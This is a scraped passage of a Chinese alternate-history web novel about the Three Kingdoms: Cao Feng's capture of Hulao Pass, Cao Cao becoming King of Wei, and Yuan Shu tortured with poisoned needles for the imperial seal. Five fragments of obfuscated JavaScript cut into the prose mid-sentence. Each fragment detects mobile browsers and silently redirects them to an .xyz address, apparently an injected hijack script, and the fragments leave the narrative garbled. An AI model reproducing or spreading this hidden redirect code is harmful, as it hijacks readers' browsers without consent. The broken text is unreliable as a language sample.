城墙上,孙立望着众人依依不舍地与曹风道别,你一言我一语地叮嘱着。他转头对曹嵩笑道:“老哥哥不去送行?好歹也嘱咐几句?” “不去!”曹嵩拄着拐杖,“我孙儿天下无敌,用不着嘱咐。” 曹嵩顿了顿,又叹气道:“我是怕那个不成器的儿子见了我,又赖着不肯走了。” 原来曹德这次也随军出征。 曹嵩想让他挣些军功,等自己百年后也好谋生。其实以曹风的权势,一句话就能给曹德高官厚禄,但曹嵩不愿让人说闲话,指责曹风任人唯亲。 城下的大军开拔后,曹嵩埋怨道:“多好的家,都被曹阿瞒那混账毁了。” 他突然张望起来:“老弟,我眼花,你帮我看看暖暖在哪?” 孙立抬眼看去,片刻后心中也是纳闷。刚才还在的小丫头,一转眼就不见了。 曹风正在马车里批阅军报,突然“砰”的一声,一个大箱子从里面被顶开。 “三叔!惊喜不?”曹婴像只小兔子般蹦了出来,银铃般的笑声在车厢里回荡。 曹风扶额苦笑,这丫头到底还是偷偷跟来了。 “惊喜没有,倒是让三叔惊吓了。” 曹婴一个箭步窜到曹风身旁,双手紧紧抱住他的胳膊,仰起小脸笑得眉眼弯弯。 “咯咯咯,我和三叔一起去骂曹孟德。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674104|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>忽然,一缕清越的琴音穿透山风飘来。 曹风掀开车帘,只见远处是大雪覆盖的银山,那悠扬的琴声正从山间缭绕而下。 先是《大风歌》,后是《龙吟曲》! 曹风转头对满脸好奇的曹婴笑道:“是蔡大家来送咱们了。” 十日后…… 虎牢关。 满脸是血的郝昭吐出一口血水,骂道:“这先登营简直就是一群疯子!不怕死我还能理解,可他们难道不用休息的吗?” 先登营已经连续猛攻虎牢关十天,双方死伤惨重。 郝昭心里清楚,到了这一步,拼的就是谁更狠! 谁先撑不住,谁就输! 如果他们守军松懈,虎牢关立刻就会被攻破;可如果麴义的先登营撑不住了,他们的士气也会一落千丈,再也组织不起这样的猛攻。 一旁的副官刚躲过一支箭,也跟着骂道:“那个‘程’字旗下的**指挥官也是个疯子!箭射得这么密,就不怕误伤自己人?” 这时,一名捂着受伤胳膊的将领急匆匆跑过来,大喊道:“将军!援军再不来,咱们真的守不住了!” 郝昭一脚踹过去,怒吼道:“少在这儿扰乱军心!” 表面上强装镇定的郝昭,心里其实也越来越没底。 先登营已经够难缠了,更让他头疼的是,对面竟然还出现了刘晔的霹雳车。 他咬牙对副官下令:“你亲自去陈留,请曹仁将军派兵增援!” “唉!”副将叹了口气,转身冲下城楼。 郝昭望向远处飘扬的“曹”字帅旗,低声嘀咕:“三公子和明公到底有什么深仇大恨,下手这么狠?” “还有,荀彧到底在搞什么鬼!事先连敌军的底细都没跟我讲清楚。我怎么感觉自己是被骗来当弃子,消耗对方的呢?” 曹字帅旗下,曹风也在望着郝昭的将旗。 许褚焦急道:“公子,先登营的兄弟们已经撑不住了,让我们上吧!” 曹风摇了摇头,沉声道:“再等等!” 就在这时,甄何快步走来,将一封密信递给曹风:“公子,徐荣将军从上庸出兵,日夜奔袭,大破曹仁派来的援军,还生擒了敌军主将牛金,同时切断了郝昭的退路。” 曹风松开紧握的拳头,猛地抬手一挥: “全军压上!” 第130章 见到好多熟人,郝昭蒙圈了 随着曹风一声令下,虎牢关上的郝昭脸色变得煞白。 城下,密密麻麻的士兵像潮水一样朝虎牢关冲来。他这辈子还是头一回见到这么多攻城的敌人。 郝昭整个人麻了。 除了先前的先登营,战场上又多了两面迎风招展的旗帜——陷阵营和夺旗营! 郝昭的副将王凌倒吸一口凉气,声音发颤:“是……是高顺的陷阵营!” 夺旗营郝昭不太了解,但陷阵营的威名,他早就如雷贯耳。这支由高顺率领的精锐部队,曾在濮阳之战中以八百人击溃数万敌军,号称“陷阵之志,有死无生”。 郝昭愤怒地一掌拍在城垛上,“这是城池攻防战,你们陷阵营来凑什么热闹?!” 城墙上的守军开始骚动,有人已经开始偷偷往后缩。 郝昭的亲兵队长大声呵斥着维持秩序,但收效甚微。 就在这时,一支流矢破空而来,正中郝昭身边一名亲兵的咽喉。 那亲兵瞪大眼睛,双手捂着喷血的脖子,缓缓倒下。 身边的士兵接连倒下,敌军已经攻上城头。 郝昭不甘心地怒吼:“荀彧害惨我!” 他想起临行前荀彧信誓旦旦的保证:“虎牢关是天险,固若金汤,将军只需坚守三日,援军必至。” 就在这时,之前派去求援的副官张范跌跌撞撞地跑了回来。 他的盔甲上插着三支很特别的箭矢,左臂也不自然地垂着。 张范中了徐荣的三箭,但还是强撑着来到郝昭面前。他嗓子沙哑,艰难地说道:“将军……我……回来了……” 郝昭急忙扶住他:“张范!援军呢?” 张范带着哭腔道:“将军,曹仁派牛金将军率五千精兵来救援,但行军路线被敌军军师识破。牛金将军遭遇埋伏,被敌将徐荣生擒。” “我们……我们既无援军,也无退路了!”说完这话,他再也支撑不住,昏死过去。 郝昭咬紧牙关,握刀的手青筋暴起:“跟他们拼了!” 他转身对剩余士兵喊道:“弟兄们,今日唯有死战,才能镇守城池!” 话音刚落,一个手持大刀的壮汉从云梯上一跃而上。 壮汉虎背熊腰,正是曹风麾下猛将许褚。他大笑着向郝昭冲来:“拿命来!” 两人交手不到三个回合,郝昭就感到虎口发麻。 许褚的第三刀势大力沉,直接将郝昭的大刀震飞。 眼看许褚的大刀就要砍中自己的脖子,郝昭闭上眼睛准备赴死。 刀刃在距离脖颈几厘米处突然停住。 郝昭隐约听见有人说:“许将军,这人不能杀。公子吩咐要活口!” 许褚收回大刀,对刚刚登上城头的高顺说:“幸亏高将军及时赶到,否则就坏了公子的大事。” 他瞥了眼郝昭,冷哼一声:“算你命大。” 郝昭刚睁开眼,后脑就猛地挨了一下,顿时眼前一黑,昏死过去。等他再醒过来时,已经在曹风府邸中。 他抬眼看去,发现了好多熟人。 程昱,刘晔,夏侯渊的两个儿子,还有…… 郝昭震惊的指着他们,磕磕巴巴道:“你……他……还有……他怎么还活着!” 回应他的,是几声轻咳。 看着眼前这些人,郝昭恍惚间有种错觉,仿佛自己又回到了曹操麾下,而非身在曹风府中。 …… 曹风刚攻下虎牢关不久,远在邺城的曹操也从昏迷中苏醒。 三日后,在钟繇、**等人的建议下,曹操在铜雀台自立为魏王。得知虎牢关失守,曹操立即在延津、官渡等地集结兵马。营帐连绵数十里,旌旗遮天蔽日。他准备与曹风再打一场官渡之战,以定天下大势。 就在曹家内斗激烈之时,刘备和孙权也准备插手其中。 长江南岸,东吴的水师正在集结;益州境内,刘备的军队也在暗中调动。 曹操称王的举动彻底打破了汉室旧制。 刘备听闻消息后痛哭流涕,“曹贼在邺城称王,下一步他要做什么?是不是马上就要篡位称帝了?!汉室四百年基业,难道要毁于一旦?” 在诸葛亮、庞统等人的劝慰下,刘备才擦干眼泪。 他红着眼睛问:“二位军师,如今该如何是好?” 诸葛亮轻摇羽扇,目光深邃:“主公勿忧。如今有周瑜为主公谋划西川。主公可趁二曹相争之机,先取上庸,再图汉中。” 庞统却持不同意见,他捋着短须说:“孔明,我认为让周瑜取西川会贻误战机。主公应亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674105|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率大军,全力攻取蜀地作为根基。” 刘备沉思良久,最终他采纳了诸葛亮的建议。他不愿主动攻打同宗刘璋,损害自己“仁德”的名声。 “孔明,该派谁去攻占上庸?”刘备询问道。 这时,刘封抢先出列,抱拳道:“父亲,孩儿愿为父亲分忧!” 他年轻的面庞上写满自信,险些骗过了刘备。 刘备最终还是看向诸葛亮,后者微微摇头:“我看还是……” 刘封打断诸葛亮,急切地说:“父亲,孩儿听说黄忠老将军的恩人死在曹风手上。如今上庸已归曹风所有。只要父亲让黄老将军领兵攻打上庸,孩儿有把握说服他归顺!” 刘备顿时来了兴致。 他身子微微前倾:“哦?此事当真?” 刘备转头见诸葛亮眉头微皱,他又补充道:“封儿,此事关系重大,不可儿戏。” 刘封信保证道:“孩儿愿以性命担保!” 刘备高兴地拍案:“好!封儿若能说服黄老将军投效,就依你所言。为父还让你担任副将。” 刘封抱拳应诺,转身就要往外走:“孩儿这就去请黄老将军出山!” “大公子不必心急。”诸葛亮抬起羽扇拦住刘封。 诸葛亮看向刘备:“此事当从长计议。不如先派人请黄老将军前来,主公与他亲自商议此事,以示诚意。” 诸葛亮对刘封仍不信任。 一来他要验证刘封所言真假,通过当面与黄忠交谈,观察其反应判断虚实。 二来即便刘封所言属实,也不能让他去劝降黄忠。诸葛亮不想让黄忠欠刘封这个人情,以免日后生出变故。 刘封脸色顿时沉了下来:“军师这是不信任我吗?” “此言差矣。”诸葛亮淡然一笑,羽扇轻摇,“我是为大公子考虑。” “只有主公亲自劝降黄老将军,才能说服关、张二位将军,让黄老将军统兵攻打上庸。否则,以二将军的脾气定然会反对。” 刘备恍然大悟,连连点头:“孔明所言极是。” 他对刘封笑道:“封儿,就按孔明说的办。功劳还是你的,为父仍让你做黄老将军的副将。” 见目的达到,刘封这才勉强压下不满,拱手道:“孩儿遵命。” 第131章 曹植:只有我三哥懂得欣赏我的才华 刘备刚让侍从去请黄忠来府上,就突然听到门外传来一阵急促的脚步声。 一名侍卫匆匆闯进大厅,单膝跪地抱拳禀报:“主公,东吴使者诸葛瑾正在府外求见,说是有要事商议。” 刘备闻言眉头一皱,手中茶碗重重放在案几上,溅出几滴茶水。他站起身,不耐烦道:“这孙权还有完没完?上月才派鲁肃来讨要荆州,明明已经说好用西川作为交换,如今又来聒噪!” 说着,刘备就要转身往后堂走去。 这是之前诸葛亮给刘备出的主意——尽量躲着东吴派来讨要荆州的使者。 就一个字:拖。 “主公稍等。”诸葛亮轻摇羽扇,笑着拦住刘备。 “最近曹操在邺城僭越称王,曹家内部又在争斗,东吴肯定不会坐视不理。我夜观天象,发现群星忽明忽暗,看来天下就要大乱了。依我看,孙权这次派兄长前来,不是讨要荆州,而是另有企图。” 刘备这才又坐了回去,挥手道:“请东吴使者诸葛瑾进来吧。” 不多时,诸葛瑾在侍从引领下快步穿过回廊。 入厅后先向刘备深施一礼,诸葛瑾又从袖中取出一封烫金帛书双手呈上。 “我家至……”诸葛瑾话说到嘴边,突然顿住。 他原想说“我家至尊”,又想起临行前周瑜的叮嘱:在刘备那儿,可别张口闭口尊称孙权为‘至尊'',不然搞不好会被刘备轰出去。 诸葛瑾急忙改口道:“我家主公邀请玄德公共讨**曹操。我军已集结十万精锐,战船三百艘,三日后兵发合肥!” 刘备接过帛书却不急着展开,而是将目光转向诸葛亮。 后者会意,轻抚长须沉思片刻,忽然眼睛一亮:“孙刘联盟乃天下大势。请子瑜回复吴侯,我军将派云长率精兵两万攻打襄阳,共诛**。” “另外……”诸葛亮补充道,“请大都督尽早发兵攻取西川。” 诸葛瑾向刘备拱手道:“我家大都督三日后就要率军攻打西川。还请刘皇叔不要忘记当初的承诺。” 刘备微微一笑,点头道:“既有白纸黑字为证,自然不会食言。” 待诸葛瑾告退后,刘备脸上的笑容立刻消失了。 他忧心忡忡地看向诸葛亮:“孔明,襄阳也是荆州的地盘,我们要是打下来,难道又要还给东吴?” 诸葛亮从袖中取出一卷帛书,走到刘备身旁。他将帛书在案几上徐徐展开,手指轻点其中一行小字。 “主公请看。当日约定归还的仅是江陵、长沙等已得到郡县。那时襄阳尚在曹贼手中,自不在归还之列。此乃亮当初‘借荆州''时特意留下的伏笔。” 刘备闻言拍案而起,大笑着道:“妙哉!孔明真乃神算也!” 邺城。 魏王府内弥漫着浓郁的药香。 张仲景刚为曹操换完药,正在收拾药箱。 曹操靠在锦缎软枕上,望着铜镜中自己消瘦的面容有些出神。 “报!”一个侍卫跪在殿外,语气有些惶恐,“曹嵩大人数日前,带着府库中的十余箱珍宝离开了邺城!” 曹操手中药碗一晃,他强压怒火,声音嘶哑:“我这个爹啊。就随他去吧……” 他同时心中默念,“不气,气大伤身……还会要命。” 曹操又好奇道:“可知我父亲往何处去了?” 那侍卫战战栗栗道:“禀魏王!曹嵩大人当时是往潼关方向去了。应该是带着那些珍宝……投靠三公子!” “啪!”药碗砸在地上摔得粉碎。 曹操剧烈咳嗽起来,指着地上碎片怒道:“资敌!这是资敌!” 侍医慌忙上前为曹操抚背顺气。 曹操摔碎一个药碗仍不解气,又接连摔了三个,这才慢慢平复下来。 还有好多军报要处理,曹操只能先将这件事情放下。 他拾起一个军报,看过后沉声道:“曹风有麴义的先登死士,我也有每战必先登的乐进。他有高顺的陷阵营,我有李典的青州兵。” 曹操突然提高声调:“传令!让乐进、李典即刻回师邺城!” 站在殿角的荀彧嘴唇动了动,最终只是深深作揖。 自从曹操晋位魏王,他腰间那块象征汉室旧臣的玉佩就再没摘下过。也不再为曹操献计。 曹操察觉到了荀彧的变化。自他称王以来,君臣之间早已离心离德,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674106|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双方都还维持着表面上的体面。 荀彧迫于形势,不得不暂时依附曹操来实现复兴汉室的抱负。他甚至把希望寄托在了曹操的子嗣身上,特别是断了手的曹丕。即便曹丕也有不臣之心,将来想要篡位,这断手之伤也会成为他最大的阻碍。 曹操则是实在无人可用了。他的智囊团大部分都投靠了曹风。他的武将也被曹风生擒或生死不知。 其实他现在能用的人还有两个。一文一武,都关在大牢里。只是这两人都有反骨,得慎重使用。 又看完一份军报,曹操脸上终于露出笑容,不过这笑容充满讽刺。 “孙权这个碧眼小儿也敢来凑热闹,真是欠收拾!等我解决曹风那个逆子,定要让他十万大军灰飞烟灭。” 曹操压根儿不指望张辽能扛住孙权的十万大军。合肥守军撑死不过七千,真正能顶事的精锐连八百都难凑齐。 曹操冷笑着盘算:既然张辽这降将敢抗命不归,那就让他当个诱饵拖着孙权好了。 实际上不仅曹操这样认为,刘备、诸葛亮他们也都这么想。唯独曹风很看好张辽,关羽倒是没明确表态。 曹操瞥了眼旁边心神不定的曹植,心中充满无奈。现在能继承王位的子嗣就剩曹植一个了,可他实在担心曹植能不能担此重任。 曹操叹了口气放下军报,抬头望向天幕。 按照天幕播放的顺序,马上就要演到官渡之战了。 想到自己还要和曹风再打一次官渡之战,曹操又开始头疼。现在的曹风,恐怕比当年的袁绍更难对付。 天幕画面开始播放,曹操收起思绪。 曹植被突然出现的天幕吓了一跳,差点当场作诗一首! 他指着天幕结结巴巴地说:“是、是三哥的高光时刻?” “那个逆子不是你三哥,也不是我曹孟德的儿子!”曹操厉声训斥,“闭嘴,认真看!” 曹植不敢顶嘴,心里却嘀咕:“他永远是我三哥。只有三哥真正欣赏我的才华。三哥说过,《唐诗宋词集》里那些作者都比不上我。” “三哥还说‘天下才共一石,我弟曹子建独占八斗,谢灵运得一斗,自古及今共分一斗''。” 第132章 袁术:没有蜜水的皇帝不是好皇帝 天幕继续播放着承接上次的内容。 【魏续跟随曹军征讨袁术的途中,被一支不知从哪儿射来的冷箭射中脖子。这位跟随吕布多年的老将,就这样瞪大双眼,从马背上栽落下来。】 只**魏续一员不重要的将领,并且曹操的大军并未遭遇预想中的伏击,这件事很快就被人们淡忘了。 自从纪灵这位袁术麾下第一大将投靠了曹风后,本就人才不富裕的袁术集团更是雪上加霜。 【面对曹操大军的步步紧逼,袁术的军队节节败退,士气低落。】 【袁术之前擅自称帝,早已成为过街老鼠,人人喊打。走投无路的袁术前往投奔旧部雷薄和陈兰。没想到这两个见风使舵的家伙不仅闭门不纳,还派人羞辱了他一番。】 【万般无奈之下,袁术只能厚着脸皮转投自己的兄长袁绍。】 【为了活命,袁术放下了所有尊严。他不仅愿意放弃帝号向袁绍称臣,还承诺献上传国玉玺。这个条件终于打动了袁绍,他勉强同意暗中接纳这个不成器的弟弟。】 【当时袁绍的长子袁谭正担任青州刺史,手握重兵。袁绍派他派人来接应袁术。】 【袁术计划从下邳北上,经徐州前往青州与袁谭会合。然而曹操早就料到了这一着,他派刘备和朱灵率领精锐骑兵在半路拦截。袁术的残兵败将根本无力突破这道防线,只能灰溜溜地退回寿春老巢。】 【时值建安二年六月,酷热难当。】 【袁术带着最后的亲信退守到江亭。】 【大帐之内,袁术敞着衣襟,对身旁战战兢兢的侍卫厉声呵斥:“朕快渴**!快去给朕弄些蜜水来喝!”】 虽然名义上袁术已将帝号让给袁绍,但在真正见到袁绍之前,他还固执地保持着皇帝的做派。 【那个面黄肌瘦的侍卫跪在地上,声音发抖:“陛、陛下,军中的麦屑都只剩三十斛了,实在找不到蜂蜜啊!”】 【“混账!”袁术一把将案几上的竹简扫到地上,“朕乃九五之尊,富有四海,怎会连蜜水都没有!定是你们这些废物私吞了!”】 【侍卫吓得连连磕头。】 【就在这时,帐外传来一阵脚步声,部将徐璆掀开帐帘走了进来。】 【他使了个眼色,示意那个可怜的侍卫赶紧退下。】 【徐璆整了整衣冠,走到袁术身边,脸上堆着虚伪的笑容:“陛下,臣知道哪里有蜜水,不过……”他故意拖长了声调,“需要用玉玺来换。”】 【“你……”袁术猛地站起身,手指颤抖地指着对面的徐璆,“你这乱臣贼子竟敢觊觎朕的玉玺!来人啊,把徐璆给朕拿下!”】 【然而帐外没有任何回应。袁术不甘心地又喊了几声,这才惊恐地意识到,自己已经被孤立了。】 【徐璆脸上的笑容渐渐消失,取而代之的是狰狞的表情。他突然伸手掐住袁术的脖子,将这位“皇帝”按回座位上:“老东西,别白费力气了。这周围的侍卫都换成了我的人。”】 【袁术拼命挣扎,枯瘦的双手抓着徐璆的手腕,从牙缝里挤出几个字:“你是谁的人,要玉玺献给谁?”】 【“现在嘛,我还是您的护卫首领。”徐璆突然大笑起来,笑声中充满嘲讽,“等拿到传国玉玺献给曹公,我就是曹公的功臣了!总比跟着你这具冢中枯骨等死强。”】 【“大胆!”袁术气得浑身发抖,“你竟敢称朕为冢中枯骨!”】 【“这是曹公送给您的评价。”徐璆凑到袁术耳边,一字一顿地说,“还满意吗?”】 【说着,徐璆突然加重手上的力道,“玉玺在哪?!】 【袁术被掐得直翻白眼,拼尽最后的力气,向帐外挤出几个字:“救……救朕……封王……侯……”】 【“哈哈哈!”徐璆松开手,拔出腰间佩剑,“附近都是我的人,此时不会有人进帐内救你。就算你叫破喉咙也没有用!”说着突然一剑刺穿袁术的大腿。】 【“啊!”袁术发出杀猪般的惨叫,鲜血顿时染红了明黄色的龙袍。】 【徐璆残忍地转动剑柄:“说!玉玺在哪?说出来给你个痛快!”】 【就在这时,一个懒洋洋的声音从帐门口传来:“谁告诉你没人能进这大帐的?”】 【徐璆大惊失色,急忙拔剑转身。只见一个二十出头的年轻人正倚在门框上,怀里抱着一柄造型奇特的长剑。年轻人睡眼惺忪,好像刚睡醒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674107|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。】 【“你是何人?”徐璆厉声喝道。】 【史阿打了个哈欠,懒洋洋地说道:“曹风公子手下,魑右。”】 史阿好像除了在**时,永远都睡不醒。 【听到“曹风公子”四个字,徐璆立刻换上一副谄媚的表情,收剑入鞘:“原来是自家人!我正要投靠曹公,您既然是曹公子的属下,咱们就是同僚了。”】 作为洛阳城最有名的纨绔子弟,曹风的“恶名”确实人尽皆知。恶名也算是名声远扬。 【史阿摇摇头:“你搞错了。我是曹公子的人,不是曹公的人。”】 【话音未落,史阿手中的剑已经如毒蛇般刺出。作为专业刺客,他的剑又快又准。徐璆根本来不及反应。】 【徐璆瞪大眼睛看着刺入自己胸膛的剑锋,脸上写满了难以置信。】 【直到倒地咽气的那一刻,他还在喃喃自语:“有什么区别……曹公,曹公子,不都是曹家,就差个‘子’字……”】 【袁术看到这一幕,眼珠一转,强忍腿上的剧痛,挤出一个难看的笑容:“这位壮士!朕听说曹操对曹风公子颇为苛刻。这样的父亲,不要也罢。”】 【“朕的太子被匈奴人所害,膝下无子。”袁术越说越激动,“只要曹风公子愿意救朕,朕愿收他为义子!他就是朕的太子,将来这皇位……”】 【“噗嗤——”史阿实在没忍住笑出声来,转头对着帐外喊道:“公子,这老家伙想让你当他的……”】 【“闭嘴!”帐帘猛地被掀开,曹风阴沉着脸走了进来,身后跟着甄何和李儒。】 【袁术震惊地发现,武艺高强、放荡不羁的史阿,在曹风面前竟然格外老实。】 袁术心里纳闷:“曹风这个出了名的纨绔子弟,居然还有这种本事?” 【曹风瞥了史阿一眼:“多嘴多舌,这次任务的报酬扣一本剑谱。”】 【“啊?公子,这……”史阿刚要辩解,就看到曹风又竖起一根手指。】 【“减两本!”曹风的声音不容置疑。】 【史阿张了张嘴,眼看曹风第三根手指就要竖起,连忙捂住自己的嘴巴,像阵风一样溜出了大帐。】 第133章 李儒的**审讯术 【曹风站在营帐中央,面无表情地看着袁术。】 帐内弥漫着一种奇怪的药草气味,甚至盖过了原本刺鼻的血腥味。这草药气味是从李儒那里散发出的味道。 【对于袁术这种人,曹风连一句废话都懒得说,直接伸出手掌:“传国玉玺!”】 【袁术拖着伤腿,勉强撑起上半身。他强忍着腿部传来的剧烈疼痛,挤出一个难看的笑容:“年轻人何必如此着急?只要你答应做朕的太子,到时候别说玉玺,这天下迟早都是你的……”】 【“你个**骷髅王!”曹风毫不客气地打断袁术,眼中闪过一丝厌烦。他转身对身后的李儒道:“半炷香时间,我要见到传国玉玺。”】 【李儒面具后的眼睛闪过一丝兴奋的光芒。他恭敬地行了一礼:“公子稍候,玉玺马上就会到您手上。”】 【说着,李儒从怀中取出一个精致的黑色皮囊,展开后露出整齐排列的十根特制银针。】 【袁术还没反应过来,就被甄何一把按在了地上。这个力大无穷的壮汉像抓小鸡一样将他牢牢制住。】 【“你……你这个面具人想对朕做什么!”袁术惊恐地挣扎,却动弹不得。】 【他眼睁睁看着李儒将银针依次插入几个颜色诡异的小瓶中。那些液体有的泛着莹绿色,有的则是浑浊的紫黑色……】 【当李儒取出末端已经变成乌黑色的银针时,袁术终于明白了。这些针上都淬了剧毒!】 【“你不要过来!不然我做鬼也不会放过你!”袁术拼命蹬着那条没受伤的腿,想要往后缩。】 此刻他已经吓得忘记自称“朕”了。 【但在甄何的铁钳般的大手下,袁术一寸都挪动不了。】 【李儒面具后传来冰冷的声音:“好,我不过去。”】 【袁术闻言稍稍松了口气,额头上渗出豆大的汗珠。】 他暗自庆幸:“还好这个戴面具的怕鬼……” 然而下一秒,他的希望就破灭了。 【只见甄何单手提起袁术的衣领,像拎小鸡一样将他拖到了李儒面前。】 【李儒专注地挑选着银针,如数珍宝。他轻轻晃动着几根银针,观察针尖毒液的状态。】 【“就是你了!”李儒两根修长的手指夹起一根银针,快速扎进了袁术的左肩。】 起初,袁术只觉得被扎的地方传来一阵冰凉感,甚至比喝了蜜水还要舒服。他心中暗想:“莫非是用假**吓唬我?” 但这种错觉很快就被打破了。袁术左半边身体开始变得越来越冷。 袁术能清晰地感觉到寒冷从肩膀开始蔓延,逐渐侵蚀到手臂、胸膛、腰部…… 【袁术的左半边身体开始不受控制地痉挛。】 【袁术的牙齿不受控制地打颤:“你……你这面具人对我做了什么?”】 【李儒对袁术的质问置若罔闻,又拈起一根银针,精准地刺入袁术右肩。】 【“啊!”袁术发出一声惨叫。】 与左半边的寒冷截然相反,右半边身体像被扔进了火炉,每一寸皮肤都在灼烧。这种冰火两重天的折磨让袁术痛不欲生。 【仅过了几分钟,袁术就开始翻白眼,口吐白沫:“我……给……”】 【李儒又拿起第三根银针,面具后的嘴角勾起一抹冷笑:“你在说什么?听不清。”】 距离曹风给的半炷香的时限还早,李儒可不想错过这个难得的试毒机会。曹风明确警告过他,不得用人试毒。当然,仇人除外。 【袁术拼尽最后的力气,声音嘶哑地喊道:“玉玺……在卧榻下的暗格里!钥匙……钥匙在我腰带内侧的暗袋里!”】 【李儒遗憾地叹了口气,看着剩下的几根银针。好几个新种类**没机会试验了。】 【这时,李儒的目光落在了徐璆的尸体上:“还是热的,勉强能用。只是效果会差很多……”】 【另一边,甄何已经按照袁术的指示,从他腰带里找出一把精巧的铜钥匙。他掀开袁术的床榻,露出一个隐蔽的暗格。】 【暗格上有个精致的锁孔,甄何将钥匙插入,轻轻一转,暗格应声而开。里面静静地躺着一个用明黄色绸缎包裹的物件。】 【甄何小心翼翼地将其取出,剥开层层绸布,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676120|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那尊传说中的传国玉玺。】 【被丢在一旁的袁术此时正间歇性抽搐着,恰好与徐璆的尸体并排躺在一起。他惊恐地发现,徐璆被李儒用银针扎过的地方正在迅速变黑,伤口处渗出诡异的紫色液体,散发出腐臭的气味。】 【“面具人这个疯子……”袁术瘫在地上,声音嘶哑地向甄何哀求“杀了我!求求你杀了我!”此刻他才明白,原来死亡才是解脱。】 【甄何连看都没看袁术一眼,捧着玉玺径直走向曹风。】 【曹风单手接过,仔细端详了片刻。随后蹲下身,他对袁术诈道:“假的。真货在哪?”】 【“这……这就是真的!”袁术急切地辩解,生怕再遭受酷刑。】 【曹风指了指旁边已经开始腐烂的徐璆尸体,威胁道:“还敢骗我?你也想变成这样?”】 【袁术惊恐道:“保真!这玉玺绝对是真的!”】 【曹风拍了拍李儒的肩膀。李儒会意,立刻转身,手中的银针瞄准了袁术的咽喉。】 【李儒冰冷的声音从面具后传出:“怎么证明保真?”】 【这个问题把袁术问懵了。他结结巴巴地说:“玺文、缺角镶金、材质和工艺都对……”说着说着,他自己也开始怀疑起来:难道孙策当年给我的玉玺是假的?】 突然,袁术意识到自己被带跑偏了。 【袁术强忍痛苦,继续解释道:“这玉玺的每一个特征都符合古籍记载。”】 经过反复试探,曹风终于确信这方玉玺是真的——至少袁术拿到手后没有调包。如果这是赝品,那也只能说明孙策当初给袁术的就是假货。 【“看在你这么配合的份上,告诉你一个秘密。”曹风站起身,向帐外走去,头也不回地说,“你那个宝贝儿子,是我杀的。那个狗东西,竟敢辱骂我娘亲。”】 【“你……你……”袁术瞪大了布满血丝的双眼,颤抖的手指指着曹风的背影。】 【袁术突然喷出一大口鲜血,接着是第二口、第三口……】 这位曾经不可一世的“仲氏皇帝”,就这样在极度的愤怒和痛苦中气绝身亡。 第134章 曹风:小霸王,我来找你了! 【曹操得知袁术在江亭吐血身亡的消息后,立即派出大批人手四处搜寻传国玉玺的下落。就连对宝物嗅觉灵敏的摸金校尉都派了出去。】 【然而经多天的搜寻,几乎翻遍了整个江亭,最终仍是一无所获。】 【负责此事的将领战战兢兢地向曹操复命。曹操虽然心中不悦,但也只能暂时作罢。】 【与此同时,曹操之前曾命令刘备在徐州拦截袁术。没想到刘备借机偷袭杀**徐州刺史车胄。车胄是曹操的心腹,这一举动无疑是对曹操的公开挑衅。】 【刘备安排关羽驻守下邳城,代理太守职务,自己则带着主力部队回到小沛驻扎。】 【更令曹操感到愤怒的是,就在这个节骨眼上,昌豨也起兵**,徐州境内多个郡县纷纷响应刘备。短短半个月内,刘备的军队就从几千人迅速扩张到几万人,声势浩大。曾经坐地卖草鞋的刘备,终于站起来了一次!】 